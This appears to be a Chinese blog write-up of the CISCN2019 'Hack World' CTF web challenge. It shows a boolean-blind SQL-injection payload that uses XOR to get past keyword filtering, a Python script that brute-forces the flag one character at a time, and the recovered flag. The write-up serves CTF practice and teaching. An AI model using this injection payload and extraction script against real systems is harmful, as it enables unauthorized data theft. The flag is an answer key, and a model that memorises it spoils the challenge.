首页 > 其他分享 >[CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 华北赛区 Day2 Web1]Hack World

时间:2024-07-07 14:30:06浏览次数:17  
标签:url Day2 substr flag Web1 import World select

进入题目
输入数字1

数字2

0

对select 空格 union or 等等测试发现没有过滤select 空格也被过滤 注意不能单独测试

用亦或运算
1^0为真
尝试0^if((ascii(substr((select(flag)from(flag)),1,1))=100),0,1)
回显正常

根据回显判断正误
编写脚本爆破,由于该网站请求太快会报429,请求一次要停一会

import requests
import time
url="http://e36e0dc3-393a-4d48-a608-d6a6f92b5b77.node4.buuoj.cn:81/index.php"
flag=''
for i in range(1,60):
for j in range(43,128):
payload = '0^if((ascii(substr((select(flag)from(flag)),{},1))={}),1,0)'.format(i, j)
data = {
'id': payload
}
request=requests.post(url,data)
time.sleep(0.005)
if 'glzjin' in request.text:
flag+=chr(j)
print(flag)

flag{a16bf2d9-c0a2-4ad0-9be6-78bf4f581de6}

标签:url,Day2,substr,flag,Web1,import,World,select
From: https://www.cnblogs.com/v3n0m-cccccc/p/18288476

相关文章

  • [CISCN2019 总决赛 Day2 Web1]Easyweb
    进入题目查看源码发现id参数可用sql注入脚本目录扫描发现robots.txt尝试fuzz爆破参数发现image.php.bak可用<?phpinclude"config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";$path=isset($_GET["path"])?$_GET["path"]:"&......
  • [CISCN2019 华东南赛区]Web11
    进入题目注意到xff在url处随意输入目录·xff随之变化注意下放smarty是php模板猜测xff为模板注入点如下用if标签看到回显得到flagflag{6efda977-94fb-4d30-8668-fe28458ec2bf}......
  • ctfshow-web入门-文件上传(web151-web160)
    目录1、web1512、web1523、web1534、web1545、web1556、web1567、web1578、web1589、web15910、web1601、web151试了下前端只能传png后缀的将一句话木马改成png后缀,上传后用burpsuite抓包绕过前端检测后,改回php后缀,发包调用:/upload/eval.php?cm......
  • 常用快捷键+Java安装和卸载+Dos命令+Notepad++试练“Hello World”+IDEA
    常用快捷键+Java安装和卸载+Dos命令+Notepad++试练“HelloWorld”+IDEAWindowsControl+C复制Control+X剪切Control+V黏贴Control+A全选Control+Z撤销Control+S保存Alt+F4关闭窗口Shift+Delete永久删除Windows+R运行(打开程序)Windows+E打开我的电脑......
  • World of Warcraft [CLASSIC] Talent Tree
    WorldofWarcraft[CLASSIC] TalentTree 天赋树模拟器01)初始化整个页面,选择游戏职业,初始化3个天赋树02)初始化天赋树结构,层次为N层03)每层有4个技能,设置可显示,设置隐藏04)每个技能可配置图表,技能名称,备注说明,每一级说明不同05)每层的技能可支持最大技能点......
  • rust学习 day2
    搞了搞基本的并发。照着书上写了个曼德博绘图器。写起来真麻烦,里三层外三层。useactix_web::{web,App,HttpResponse,HttpServer};useserde::Deserialize;#[actix_web::main]asyncfnmain(){println!("Servingonhttp://127.0.0.1:3000");HttpServer::n......
  • Day2 |977.有序数组的平方& 209.长度最小的子数组&59.螺旋矩阵II
    977.有序数组的平方这题太简单了,中间的排序我用的选择排序贴代码了publicint[]sortedSquares(int[]nums){for(inti=0;i<nums.length;i++){nums[i]=nums[i]*nums[i];}for(inti=0;i<nums.length;i++){......
  • Acore-world数据库之各类loot-template表全面解释
    前言Acore-world数据库涉及到掉落(不含扒窃)的表一共有11个,分别是:序号表名说明1creature_loot_template生物掉落表,其entry值对应creature_template表的和lootid值2disenchant_loot_template附魔分解掉落表,其entry值对应item_template表的DisenchantID值3fish......
  • helloworld - 程序员的第一个社区终于来了
    helloworld-程序员的第一个社区终于来了csdn事件CSDN旗下的GitCode最近因为一种极其不道德的行为引起了开发者的广泛愤怒和抗议。CSDN在没有通知或征求开发者同意的情况下,悄悄地将大量GitHub上的开源项目搬运到了其自己的GitCode平台上,并为这些项目的开发者创建了开发者主页......
  • 代码3:构造最小的HelloWorld程序
    Intro:绪论2:应用视角的操作系统。目的:通过精简程序,了解整个编译过程。一、GCC编译hello.c的全过程.c(源代码)->.i(预编译源代码)-gcc->.S(汇编代码)-as->.o-ld->a.out(一)GCC编译hello.c中只有一行printf("hello,world\n");指令(return由编译器处理,代码......